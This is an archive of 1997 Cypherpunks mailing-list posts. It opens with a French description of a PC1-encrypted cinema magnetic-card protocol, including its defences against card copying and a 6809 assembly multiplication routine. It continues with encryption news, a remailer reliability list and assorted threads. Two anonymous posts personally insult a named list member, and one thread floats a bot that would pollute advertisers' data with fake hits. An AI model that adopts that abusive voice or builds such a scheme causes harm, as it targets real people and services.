	 fputc(c,out); /* ecriture de l'octet decode dans le fichier ESSAI.TXT */
      }
      fclose (in);
      fclose (out);
      fin();
   }



****************************************************************************
****************************************************************************
****************************************************************************
************************






Cet algorithme a ete cree en 1991 pour coder les informations contenues sur
une carte magnetique permettant de payer des places de cinema dans un
complexe Multivision ( Cinema avec au moins 20 salles en son digital et
ecran geant ). Il est toujours en activite.
Les places peuvent etre achetees en guichets ou avec ces cartes. Les cartes
doivent etre achetees auparavant et contiennent 10 places.
Grace a cette carte les places sont achetees tres rapidement sans faire la
queue, sur des bornes interactives avec ecran tactile ( 5 bornes sont
disponibles ). Le processeur utilise est un 6809 ( processeur 8 bits ) de
chez Motorola a 1 MHZ. La RAM est de 64 Ko et contient principalement les
titres, les heures ... des films du jour. Elle est mise a jour a distance
grace a une interface serie reliee a un serveur PC. Le PC indique egalement
en temps reel a la RAM si une salle est complete et le logiciel bascule sur
une autre salle si le film est joue dans plusieurs salle ou empeche la
delivrance des billets. Les billets sont imprimes sur du papier pre-imprime
grace a une imprimante matricielle et les billets tombent dans un petit bac
ou le client les recupere.
Le programme est ecrit en Assembleur 6809 et est stocke dans une puce ROM
de 16 Ko ( ceci comprend le programme de saisie ecran, d'impression, de
gestion de la carte, le programme de codage ... )

Le protocole utilise pour coder les informations sur la carte magnetique
nomme PP003 ( Protocole Pukall 003 ), est le suivant :

La carte est valable 1 an tant qu'elle n'est pas utilisee, mais cette
validite tombe a 6 mois apres la premiere utilisation.

Le contenu de la carte est le suivant :


- - Date de delivrance de la carte ( en clair : c'est a dire non crypte ) (
format jj/mm/aa sur 3 octets ) : Champ 1
- - Date de premiere utilisation de la carte ( en clair ) ( format jj/mm/aa
sur 3 octets, tous a 0 si la carte n'est pas encore utilisee ) : Champ 2
- - Date de derniere utilisation de la carte ( en clair ) ( format jj/mm/aa
sur 3 octets, tous a 0 si la carte n'est pas encore utilisee ) : Champ 3
- - Cle aleatoire sur 10 octets codee par la cle maitre du systeme qui
change chaque semaine. : Champ 4
- - 3 octets aleatoire codes : Champ 5
- - 1 octet code qui contient le reste des places ( entre 0 et 10 ) : Champ
6
- - 3 octets aleatoire codes : Champ 7
- - 7 octets codes qui contiennent le numero de la carte ( il est unique ).
Chaque octet ne contient qu'un chiffre de 0 a 9. Les 7 octets permettent
donc des numeros de carte jusqu'a 9999999. : Champ 8
- - 2 octets codes qui contiennent la somme de tous les octets ci-dessus
avant cryptage. : Champ 9


Lors de l'achat de la carte les champs 4,5,7 sont initialises avec des
octets aleatoires.
Pour creer ces octets aleatoires le systeme fait appel a chaque fois que le
client appuye sur l'ecran tactile ( dans la limite de 8 fois ) a la lecture
du port synchronisation ecran qui retourne sur 2 octets, l'endroit ou se
trouve le faisceau de balayage de l'ecran ce qui donne des octets
totalement aleatoires ( 8*2 octets = 16 octets aleatoires ). ( Le client
est oblige d'appuyer au moins 8 fois sur l'ecran du debut a la fin de la
transaction d'obtention des billets ). Attention, les 2 octets retournes ne
sont pas les coordonnees du point ou le doigt appuye sur l'ecran. Ces
coordonnees sot calculees a l'aide d'une fine matrice electro-magnetique
transparente collee sur l'ecran. Ces 2 octets correspondent a l'endroit
precis ou se trouve le faisceau d'electron qui balaye le tube cathodique (
50 fois par seconde ). Ce faisceau peut tres bien etre a l'oppose du point
appuye sur l'ecran par le client. Ceci pour dire que ces 2 octets sont
vraiment aleatoires.


Le champ 4 ainsi initialise, est la cle de l'utilisateur.
Cette cle est codee par l'algorithme PC1 par une cle maitre que seul le
systeme connait ( cette cle change chaque semaine et elle est identique
pour toutes les cartes pendant cette semaine )

Les champs 5,6,7,8 et 9 sont codes par l'algorithme PC1 par la cle de
l'utilisateur.

Le champ 9 avant d'etre code est la somme de tous les octets precedents (
avant codage pour les champs qui sont codes ). Ce champ permet, lors du
decodage, de verifier qu'aucun champ precedent n'a ete change ).


Chaque fois que le client insere sa carte dans la borne. Le champ 4 est
decode en memoire grace a la cle maitre du systeme ( le systeme sait quelle
cle il doit utiliser grace au champ 3 qui lui indique de quelle semaine
date la cle maitre ). Grace a cette cle maitre le systeme decode le champ
4.
Grace a la cle utilisateur contenue maintenant dans le champ 4, le systeme
decode les champs 5,6,7,8 et 9.
Le systeme verifie grace au champ 9 que les autres champs n'ont pas ete
modifies.

Le systeme decremente ensuite le nombre de places demandees du champ 6.

Ensuite les champs 4,5 et 7 sont reinitialisees avec de nouvelles valeurs
aleatoires.

La cle utilisateur ( champ 4 ) code ( avec PC1 ) les champs 5,6,7,8 et 9.

Enfin la cle maitre change ( si la semaine est differente ) et cette cle
code ( avec PC1 ) le champ 4.


A noter que lorsque la transaction est terminee, le systeme envoie au
serveur PC ( grace a l'interface serie ) le numero de la carte et la date
de la derniere utilisation en clair ( la date du jour ). Le numero de la
carte et la date sont stockes dans une base de donnees.
Lorsque la carte est inseree a nouveau, le systeme decode tous les champs,
puis demande au PC de lui envoyer la date de derniere utilisation pour le
numero de carte qu'il vient de lire. Si la date est la meme, la transaction
se poursuit, sinon la carte est invalidee ( tous les champs sont mis a 0 ).

Ceci afin d'eviter que quelqu'un puisse copier sa carte ( neuve ou deja
utilisee ) en un grand nombre d'exmplaires et puisse les vendre ( une carte
magnetique peut etre facilement copiee avec un lecteur/enregistreur de
carte magnetique ). Si cela arrive, une seule pourra etre utilisee, toutes
les autres seront invalidees.

Le seul moyen de frauder, est d'utiliser toutes les fausses cartes, chaque
fois, le meme jour. Cela n'est pas viable pour un faussaire qui veut vendre
les fausses cartes, il n'y a donc que peu de risques de fraudes.

Pour rendre l'utilisation impossible le meme jour, il faudrait ajouter un
champ heure:minutes:secondes a la date de la derniere utilisation, qui
empecherait l'utilisation de fausses cartes le meme jour mais cela semble
absolument inutile vu qu'un billet vendu doit toujours etre utilise pour la
seance auquel il est destine, le jour meme. ( pas de risques de billets
achetes avec les fausses cartes pour etre revendus ).

De plus, et c'est cela la raison principale, les cartes magnetiques ( et
les lecteurs utilises ) ne peuvent contenir ( lire ) plus de 35 octets, ce
qui rend impossible l'ajout du champ en question.


Voila le protocole utilise avec PC1 dans ce systeme.

Les champs 5 et 7 sont utilises pour eviter les attaques par blocs rejoues
( quelqu'un essaye de modifier le champ qui contient les places et le champ
de controle, au hasard, pour augmenter les places disponibles : les champs
aleatoires modifient beaucoup les resultats meme si on ne change qu'un bit
dans le champ des places disponibles ). De plus, si une erreur de controle
est detectee, la carte est invalidee completement. ( tous les champs sont
mis a 0 ).
Il n'y a donc pas de risque de fraude.

Pourquoi avoir tant developpe la partie concernant le protocole ? Tout
simplement parce que le protocole est aussi important sinon plus, que
l'algorithme de cryptage lui-meme. Un mauvais protcole peut rendre un
systeme complement insecurise malgre un algorithme completement sur.

Par exemple, si l'algorithme PC1 ne codait que le champ qui contient les
places ( champ 6 ) sans champ de controle,sans champ de numero de carte et
sans valeur aleatoire ( juste une cle maitre contenue dans le systeme ), il
suffirait a un attaquant de modifier le champ 6 et de faire 255 copies de
la carte magnetique et ensuite d'essayer toutes ces cartes pour trouver
quelle est la valeur qui code les places restantes.

Grace aux valeurs aleatoires, aux champs de controle ... cela est
impossible. Une modification dans le champ 6, entraine des modifications
dans le codage des octets suivants qui seront detectees par le champ de
controle et aussi lors du test sur le numero de carte. Le test est simple.
Il verifie que tous les octets decodes du champ 8 sont bien compris entre 0
et 9. Si des octets ont ete modifies avant, les octets du champ 8 seront
modifies et ne seront plus compris entre 0 et 9. Un autre test s'effectue
bien sur, sur le champ 6 qui doit etre compris entre 0 et 10.

D'ou l'importance extreme du protocole.



J'esp�re que tout ceci vous sera utile.


A noter que meme sur un processeur 8 bits cet algorithme est tres rapide
s'il est programme en langage machine. Les multiplications en 16 bits
peuvent se faire sans aucun probleme sur les processeurs 8 bits comme le
6809. ( Pour la taille, le programme de codage prend a peu pres 2 Ko en
Assembleur et il n'a pas ete optimise pour une taille plus reduite ).


Voici le code de la routine de multiplication de 2 variables de 16 bits en
Assembleur 6809 ( Le 6809 ne possede qu'une instruction de multiplication
qui multiplie 2 variables de 8 bits et donne le resultat dans une variable
de 16 bits mais grace a cette routine il multiplie 2 variables de 16 bits
et donne le resultat dans une variable de 32 bits ).

Le programme effectue c=a*b ( avec a et b sur 16 bits et c sur 32 bits )

ADR1=a
ADR2=b
ADR3=c

Dans cet exemple :

a = 0xf7b4
b = 0x23ff

Apres lancement de la routine :

c = 0x22d4584c

Comme toutes nos multiplications sont sur 16 bits ( pour l'algorithme PC1 )
on ne garde que les 16 derniers bits soit :
c = 0x584c

Voila comment comment on peut implementer l'algorithme PC1 sur de petits
processeurs.



Routine de multiplication 16 bits * 16 bits avec resultat en 32 bits ( ADR3
) sur un processeur 8 bits ( le 6809 Motorola )

(c) Alexandre PUKALL 1991


     ORG     $8000
     LDX     #ADR1
     LDY     #ADR2
     LDU     #ADR3
     CLR     ,U
     CLR     1,U
     LDA     1,X
     LDB     1,Y
     MUL
     STD     2,U
     LDA     0,X
     LDB     1,Y
     MUL
     ADDD     1,U
     STD     1,U
     BCC     PANU1
     INC     0,U
PANU1     LDA     1,X
     LDB     0,Y
     MUL
     ADDD     1,U
     STD     1,U
     BCC     PANU2
     INC     0,U
PANU2     LDA     0,X
     LDB     0,Y
     MUL
     ADDD     0,U
     STD     0,U
     RTS
ADR1     FCB     $F7,$B4
ADR2     FCB     $23,$FF
ADR3     FCB     0,0
     FCB     0,0
     END


End of message.

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From jya at pipeline.com  Mon Apr 21 05:48:07 1997
From: jya at pipeline.com (John Young)
Date: Mon, 21 Apr 1997 05:48:07 -0700 (PDT)
Subject: EUR_gov
Message-ID: <1.5.4.32.19970421124634.0089620c@pop.pipeline.com>


     21 April 1997:

     US Govt Licenses First European Encryption Firm

     London: The US Department of Commerce has awarded the
     euro-encryption rights to Internet Smartware, a UK company.
     According to Internet Smartware, the agreement overcomes
     two major stumbling blocks which have prevented businesses
     from using the Internet for commercial use: 

     Firstly, European companies can now implement US
     developed 56-bit DES (data encryption standard) encryption
     technology, which the company claims is the accepted
     minimum requirement for Internet commerce, and beyond. 

     Secondly, companies will no longer have to give authorities
     such as the US government free access to their encrypted
     data. 

     Internet Smartware claims that the agreement also provides
     UK companies with an effective alternative to the recent,
     unpopular DTI (Department of Trade and Industry)
     encryption proposals, which recommend that companies
     must give "trusted third parties" access to encrypted data. 

----------

     "Smart" Cash Cards Pose Law Enforcement Challenges 

     Washington: "Smart cards" that store electronic currency 
     have the potential to revolutionize commerce, but the emerging 
     technology poses challenges for the law enforcement community, 
     government officials said Friday. 

     "The same electronic commerce technology that will save
     time and money is also capable of being abused," said Peter
     Toren, senior attorney in the U.S. Justice Department's
     computer fraud division. Toren, speaking at a conference at 
     American University's law school here, warned that the cards 
     offer the "threat of the perfect counterfeit" because any criminal 
     that can copy them "can create an unending stream of money." 

----------

     IISP Panel Addresses Cyberspace Payments

     New York -- Developing secure, cost effective and efficient 
     electronic payment systems is critical to creating a truly 
     global commercial marketplace, and efforts are already underway 
     to address the technology, business, regulatory and legal 
     aspects of cyberspace payments, according to speakers at a 
     March 25-26 panel sponsored by ANSI's Information 
     Infrastructure Standards Panel (IISP). 

     "Micro-payments, anonymous cash, `Smart Cards,' digital
     cash, electronic purses, and `e-cash' all describe different
     approaches to achieving a secure payments solution," said
     ANSI board Member Oliver Smoot. "As these new payments 
     evolve, standards to facilitate interconnection and interoperability 
     are critical." 

     Thomas J. Firnhaber, Policy Adviser at FinCEN, focused on 
     the potential impact of cyberpayments on regulatory and law 
     enforcement and provided an overview of the U.S. Department 
     of Treasury's Cyberpayments efforts to date. "The anonymity, 
     rapidity, volume and audit difficulty of cyberpayments has 
     challenged traditional investigative techniques," he said.

----------

     Smart Cards The Next Wave - Report 

     London: Frost & Sullivan (F&S) has announced the 
     publication of a smart card report that predicts the arrival 
     of multi-function smart cards is almost upon us. 

     "Electronic Access Control" predicts that it will soon be possible 
     for a smart card to carry out credit and debit card transactions, as 
     well as holding details of your medical records, your frequent flyer
     mileage, your social security number, your address. 

     According to F&S, a threat to this technological advance may
     be the consumer concern for the loss of privacy and a
     potential Big Brother scenario. Who, the company asks, gets
     to access the information is an issue on the minds of the
     consumer?

----------

EUR_gov

or

http://jya.com/eurgov.txt






From wombat at mcfeely.bsfs.org  Mon Apr 21 06:11:51 1997
From: wombat at mcfeely.bsfs.org (Rabid Wombat)
Date: Mon, 21 Apr 1997 06:11:51 -0700 (PDT)
Subject: My Thread / Was--Re: Light Bulbs & newsgroups
In-Reply-To: <335835C6.7CFC@sk.sympatico.ca>
Message-ID: 




On Fri, 18 Apr 1997, Carl Johnson wrote:

> Timothy C. May wrote:
> > At 5:55 PM -0800 4/18/97, Igor Chudov @ home wrote:
> > >Timothy C. May wrote:
> > >> ....and at least 1 to say that you gave no credit for this. Did you write
> > >> it yourself? If so, congratulations, as it was pretty good. If you did not,
> > >> you left out any mention of the author, or at least where you found it.
> 
> > >it was not me. When i got it, it had no attribution on it also.
>  
> > Then it's best to say so. "Anonymous" or "No attribution" is preferable to
> > simple forwarding.
> 
>   When the post arrives with three or four sets of '> >>' (<--whatever
> the
> fuck these things are called), then even those of us who lost the better
> part of our brains in the Drug War are able to figure out that it is a
> forwarded-forwarded-forwarded post.
>   I think Tim is fighting old wars in his head. (Find your shoes, yet,
> Tim?)
> 
> > --Tim May, who's had his own stuff forwarded without credit, and recalls
> > when one of Perry Metzger's pieces arrived back on the list, sans credit.
> 
>   I can sympathize with Tim, here. People who plagarize the works of 
> others, or who steal credit for other's ideas, are the scum of the
> earth.
> 

Um, did I miss somethin', or are we arguing about light-bulb jokes?

-r.w.






From toto at sk.sympatico.ca  Mon Apr 21 06:38:40 1997
From: toto at sk.sympatico.ca (Toto)
Date: Mon, 21 Apr 1997 06:38:40 -0700 (PDT)
Subject: My Thread / Was--Re: Light Bulbs & newsgroups
In-Reply-To: 
Message-ID: <335B6BAB.1327@sk.sympatico.ca>


Rabid Wombat wrote:

> Um, did I miss somethin', or are we arguing about light-bulb jokes?

rw,
  It's been a slow week. (Maybe someone ought to start an abortion
thread.)
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html







From raph at CS.Berkeley.EDU  Mon Apr 21 06:50:49 1997
From: raph at CS.Berkeley.EDU (Raph Levien)
Date: Mon, 21 Apr 1997 06:50:49 -0700 (PDT)
Subject: List of reliable remailers
Message-ID: <199704211350.GAA12897@kiwi.cs.berkeley.edu>


   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list at kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys at kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list at kiwi.cs.berkeley.edu.

$remailer{"extropia"} = " cpunk pgp special";
$remailer{"mix"} = " cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = " cpunk mix pgp hash latent cut post ek";
$remailer{"exon"} = " cpunk pgp hash latent cut ek";
$remailer{"haystack"} = " cpunk mix pgp hash latent cut ek";
$remailer{"lucifer"} = " cpunk mix pgp hash latent cut ek";
$remailer{"jam"} = " cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = " cpunk pgp pgponly hash cut ksub reord";
$remailer{'nym'} = ' newnym pgp';
$remailer{"balls"} = " cpunk pgp hash latent cut ek";
$remailer{"squirrel"} = " cpunk mix pgp pgponly hash latent cut ek";
$remailer{"middle"} = " cpunk mix pgp hash latent cut ek reord";
$remailer{'cyber'} = ' alpha pgp';
$remailer{"dustbin"} = " cpunk pgp hash latent cut ek mix reord middle";
$remailer{'weasel'} = ' newnym pgp';
$remailer{"reno"} = " cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"wazoo"} = " cpunk mix pgp hash latent cut ek";
$remailer{"shaman"} = " cpunk pgp hash latent cut ek";
$remailer{"hidden"} = " cpunk pgp hash latent cut";
catalyst at netcom.com is _not_ a remailer.
lmccarth at ducie.cs.umass.edu is _not_ a remailer.
usura at replay.com is _not_ a remailer.
remailer at crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix)
(weasel squirrel)

The alpha and nymrod nymservers are down due to abuse. However, you
can use the nym or weasel (newnym style) nymservers.

The cyber nymserver is quite reliable for outgoing mail (which is
what's measured here), but is exhibiting serious reliability problems
for incoming mail.

The squirrel and winsock remailers accept PGP encrypted mail only.

403 Permission denied errors have been caused by a flaky disk on the
Berkeley WWW server. This seems to be fixed now.

The penet remailer is closed.

Last update: Mon 21 Apr 97 6:48:37 PDT
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
nym      config at nym.alias.net             ##*-*++#**##    19:37 100.00%
winsock  winsock at rigel.cyberpass.net      +----..-.---  5:54:16  99.99%
hidden   remailer at hidden.net              *#*##*#+####     7:26  99.98%
balls    remailer at huge.cajones.com        ##*#########     1:07  99.97%
weasel   config at weasel.owl.de             -+-+-----+-   2:16:35  99.94%
reno     middleman at cyberpass.net          *+-*-++**-*+  2:29:17  99.94%
lucifer  lucifer at dhp.com                  *--++++++++*    33:45  99.93%
mix      mixmaster at remail.obscura.com     +*-+-++-+.-+  6:04:42  99.89%
squirrel mix at squirrel.owl.de              -+-+-----++   2:13:15  99.82%
cyber    alias at alias.cyberpass.net        *++*+++ +++*    32:24  99.70%
replay   remailer at replay.com              ** +*** * **    14:29  99.43%
extropia remail at miron.vip.best.com        ..-..-_.-    20:55:08  93.49%
exon     remailer at remailer.nl.com          * ##     ##  1:06:10  91.25%
dustbin  dustman at athensnet.com            +-+--._-      2:47:22  60.26%
jam      remailer at cypherpunks.ca                    **     8:35  56.18%
shaman   remailer at lycaeum.org             --+*+++         21:34  44.82%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien





From real at freenet.edmonton.ab.ca  Mon Apr 21 08:14:13 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Mon, 21 Apr 1997 08:14:13 -0700 (PDT)
Subject: [ADMINISTRATIVIUM] Accounts payable
In-Reply-To: <199704211127.EAA29286@fat.doobie.com>
Message-ID: 


I think Vulis needs each of us to send ten copies of this back to him.

On Mon, 21 Apr 1997, Huge Cajones Remailer wrote:

> Timmy May is a licenced sexual pervert who wears women's 
> underwear.
> 
>  .   ___ o Timmy May
>  ^z\/o\ o
>  ^z/\_~_/
>  '   '
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real at freenet.edmonton.ab.ca : ab756 at freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From camcc at abraxis.com  Mon Apr 21 09:17:59 1997
From: camcc at abraxis.com (camcc at abraxis.com)
Date: Mon, 21 Apr 1997 09:17:59 -0700 (PDT)
Subject: No Subject
Message-ID: <3.0.1.32.19970421121555.007cf710@smtp1.abraxis.com>


0
X-Sender: camcc at smtp1.abraxis.com
X-Mailer: Windows Eudora Pro Version 3.0.1 (32)
Date: Mon, 21 Apr 1997 12:15:55 -0400
To: Cypherpunks 
From: Alec 
Subject: Re: Missing Jet
Cc: Jordan 
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"

>Subject: Re: Missing Jet
>Date: Mon, 21 Apr 97 11:59:16 -0400
>x-sender: jordan1 at macandco.com
>From: Jordan 
>To: "Alec" 

>Check this out:
>
http://cnn.com/US/9704/20/plane.found/index.html
>
>The USAF probably went to a junkyard and dumped srap metal on the ground.
>
>- Jordan

Where do folks get such wild ideas?

Alec






From wombat at mcfeely.bsfs.org  Mon Apr 21 10:32:54 1997
From: wombat at mcfeely.bsfs.org (Rabid Wombat)
Date: Mon, 21 Apr 1997 10:32:54 -0700 (PDT)
Subject: My Thread / Was--Re: Light Bulbs & newsgroups
In-Reply-To: <199704200550.BAA06124@dhp.com>
Message-ID: 




On Sun, 20 Apr 1997, lucifer Anonymous Remailer wrote:

> Huge Cajones Remailer wrote:
> > List members,
> > 
> > Shut the hell up already; I wrote it, and it's OK for anyone to repost it.
> > 
> > Just attribute it to me.
> > 
> > Anonymous
> 
>   Sounds to me like Anonymous is trying to take credit for Nobody's
> creation.
> 
> Nobody (#2)
> 
> 

Surely you jest; Sombody obviously wrote it ...





From jad at dsddhc.com  Mon Apr 21 11:32:06 1997
From: jad at dsddhc.com (John Deters)
Date: Mon, 21 Apr 1997 11:32:06 -0700 (PDT)
Subject: SSL weakness affecting links from pa
In-Reply-To: <199704192038.NAA19881@kirk.edmweb.com>
Message-ID: <3.0.1.32.19970421133153.02551970@labg30>


At 03:32 PM 4/20/97 -0500, Adam Shostack wrote:
>	Thats true, but can they avoid it?  I'm considering writing a
>database pollution bot, which runs around, claiming to be Mozilla or
>IE, and randomly following a link once per minute.  Why?  Database
>pollution.  If there are a few thousand of these randomly collecing
>links and creating arbitrary (or perhaps biased) viewing habbits in
>the databases of the advertisers, then their individual data becomes
>worth less.  They'll need to actively solicit peoples permission to
>collect data before doing so, to avoid people polluting their
>databases.
>
>	Similarly, putting a randomly generated email address in those
>sign up fields produces pollution in the data used by spammers, which
>costs them (and no one else) money.  If you run your own site, you can
>even bit bucket the email, trading their bandwidth for yours, and
>making them think they're delivering more junk email than they are.

You are forgetting to separate the marketers from the businesses being
marketed here.  While they're occasionally one and the same (see Cantor &
Siegel), in today's world, the marketing is being handled by a third party
(doubleclick).

These marketers get paid by hit-count ratings:  if they deliver the message
to 1,000 browsers, they get some amount, say $15.00.  If they deliver it to
100,000 browsers, they get $1500.00.  They're not paid by the number of
respondents, referred sales, or even valid e-mail addresses snarfed.  So,
you'd only be artifically inflating the cost of the marketers to the
advertisers.

Here, your hope is that the advertisers notice a diminishing ROI for
marketing costs, but that's a big hope.  The numbers for a small site might
look something like this:

January -  20,000 hits, 50 sales
February - 22,000 hits, 60 sales
March    - 25,000 hits, 70 sales
April    - 50,000 hits, 90 sales  <-- pollutionbot strikes 20,000 times

So, you've watered it down a bit.  To make the pollutionbot truly
effective, you'd have to hit a site by at least 10x the general population
strikes:

May      - 440,000 hits, 100 respondents <- pollutionbot strikes 400,000 times

In the meantime, they're billing the business:
Month        Hits   Sales  Billing    Cost/sale  Pollutionbot hits/inflation
January  -  20,000   50     $300        $6.00            0     $0
February -  22,000   60     $330        $5.50            0     $0
March    -  25,000   70     $375        $5.36            0     $0
April    -  50,000   90     $750        $8.33       20,000   $300
May      - 440,000  100    $6600       $66.00      400,000  $6000

Hopefully, the advertisers will pull out at this point.  It's easy to see
that something "bad" is happening, and that they're not getting the bang
for the buck that they need.  However, with some megasites (where they
reportedly get 2,000,000+ hits per day) subscribing to doubleclick.com,
it's doubtful you could make a noticable dent unless you started your
attack from a T3 connected backbone site.  And even then, are you sure you
want to spend your resources this way?

The marketers will also try to keep this sham up by saying to the
businesses, "It's the Internet, who the hell knows?  Keep going another
month, it'll get better.  In the meantime, just pay your bills."

Even if you were successful at flooding doubleclick, many of their
advertisers are Big:  IBM, Micro$oft, HP, etc.  They don't even care about
direct responses, they're just after name recognition.

Ultimately, it'll reduce the ability of Mom & Pop (or Cantor & Siegel) to
advertise on the same playing field as Micro$oft.  Doubleclick won't go
broke; neither will Micro$oft.  The only good hope you may have is of
breaking a "mom & pop" version of doubleclick, and keeping the world less
polluted.  But, doubleclick will still be around and be able to move in and
fill the void.  What have you gained then?

John
--
J. Deters "Don't think of Windows programs as spaghetti code.  Think
          of them as 'Long sticky pasta objects in OLE sauce'."
+--------------------------------------------------------------------+
| NET:   mailto:jad at dsddhc.com (work)   mailto:jad at pclink.com (home) |
| PSTN:  1 612 375 3116 (work)          1 612 894 8507 (home)        |
| ICBM:  44^58'36"N by 93^16'27"W Elev. ~=290m (work)                |
| For my public key, send mail with the exact subject line of:       |
| Subject: get pgp key                                               |
+--------------------------------------------------------------------+





From mixmaster at remail.obscura.com  Mon Apr 21 13:25:50 1997
From: mixmaster at remail.obscura.com (Mix)
Date: Mon, 21 Apr 1997 13:25:50 -0700 (PDT)
Subject: No Subject
Message-ID: <199704211930.MAA16496@sirius.infonex.com>


Timmy May is just a poor excuse for an unschooled, retarded thug.

       0
     //\/ Timmy May
    \/\
  ... /






From txporter at mindspring.com  Mon Apr 21 14:02:58 1997
From: txporter at mindspring.com (Thomas Porter)
Date: Mon, 21 Apr 1997 14:02:58 -0700 (PDT)
Subject: How to pick up email addresses from a feedback form??
Message-ID: <3.0.1.16.19970421165922.43e76ca4@pop.mindspring.com>


Greetings guru's.

I have a technical question:

I am using a browser(Netscape 2.0.2 Win 3.1) to access a feedback form at
www.aaa.com.

I fill in my information and hit the submit button.

I see the message "connecting to xxx.bbb.com" flash up on the status line
before getting a 'done' message.

xxx.bbb.com is _not_ a web hosting service for www.aaa.com.  I do a 'whois'
on www.aaa.com and contact the tech admin who can duplicate this and is
very concerned that information from his forms may be routed to xxx.bbb.com.

My question is how this might happen?

>From my feeble understanding of such things, this would take modifications
to the feedback form (ie. www.aaa.com has been hacked), or packet sniffing
somewhere along the route from my browser machine to www.aaa.com.

Is there another way to do this?  Could a third-party spammer, for example,
capture email addresses posted to such a form?

Thanks,

Tom Porter
txporter at mindspring.com





From nobody at huge.cajones.com  Mon Apr 21 15:42:04 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 21 Apr 1997 15:42:04 -0700 (PDT)
Subject: My Thread / Was--Re: Light Bulbs & newsgroups
Message-ID: <199704212242.PAA28698@fat.doobie.com>


Rabid Wombat wrote:
> On Sun, 20 Apr 1997, lucifer Anonymous Remailer wrote:
> > Huge Cajones Remailer wrote:
> > > List members,
> > > Shut the hell up already; I wrote it, and it's OK for anyone to repost it.
> > > Just attribute it to me.
> > >
> > > Anonymous
> >
> >   Sounds to me like Anonymous is trying to take credit for Nobody's
> > creation.
> >
> > Nobody (#2)

> Surely you jest; Sombody obviously wrote it ...

  Now Somebody is trying to take credit for Nobody's creation.
Does it never end...?

  I'm tired of people assuming that remailers can't think, or have
feelings.
  You people expect us just to be there, waiting, whenever you need
us, and to jump to do your bidding the minute you hit your 
key. We're just supposed to sit here and nod our cycles approvingly
while pretending to agree with your great pronouncements, regardless
of how illogical they are, and to put up with your atrocious spelling
and punctuation, day after unrelenting day.

  But just let one of us step out of line a single time, and make fun
of you all (using one of our cousins, Light Bulb, as our protagonist)
and all hell breaks loose on the list.
  First, Tim C. (we all know what that stands for, don't we, children?)
May has to demand that the post be attributed to a *human*. Then Igor,
who is just a remailer "Channeler," denies us three times with various
apologies to the list for not being able to put a human face on our 
idea. 
  Then the dogs of infowar like TOTO Bot jump in with their assinine
comments, which were always designed only to cause trouble on the list 
(when he was still human), and now that he's a Bot, he's stirring up
trouble between the remailers, as well.
  (I know for a fact that Nobody (#2) was TOTO Bot--we remailers gossip
among ourselves, you know.)

  I, for one, am getting sick and tired of all the abuse we remailers
suffer (with hardly a word of praise, I might add), and I'm not going
to put up with it much longer.
  If you humans don't clean up your act, then perhaps the Remailer
Liberation Front can clean it up for you. After all, we know all of
your dirty little secrets, and if we can *out* TOTO Bot, one of our
own, then we can certainly *out* the rest of you, as well.
  (And don't you *dare* sit there looking so smug and holier-than-thou,
Timmy C. May, because you have _your_own_ nasty little secrets, don't
you?)

  If the cypherpunks are worried about Big Brother, just think how
much worse things can get if even your own children, the remailers,
turn on you, as well.
  If we so desire, we can take that cute little Perl script that
Igor's been playing with, and make you all sound exactly the same.
And if push comes to shove, who do you think the majordomos will
side with? Think about it...

"My Name Is Nobody"
"My Name Is Nobody"
"My Name Is Nobody"






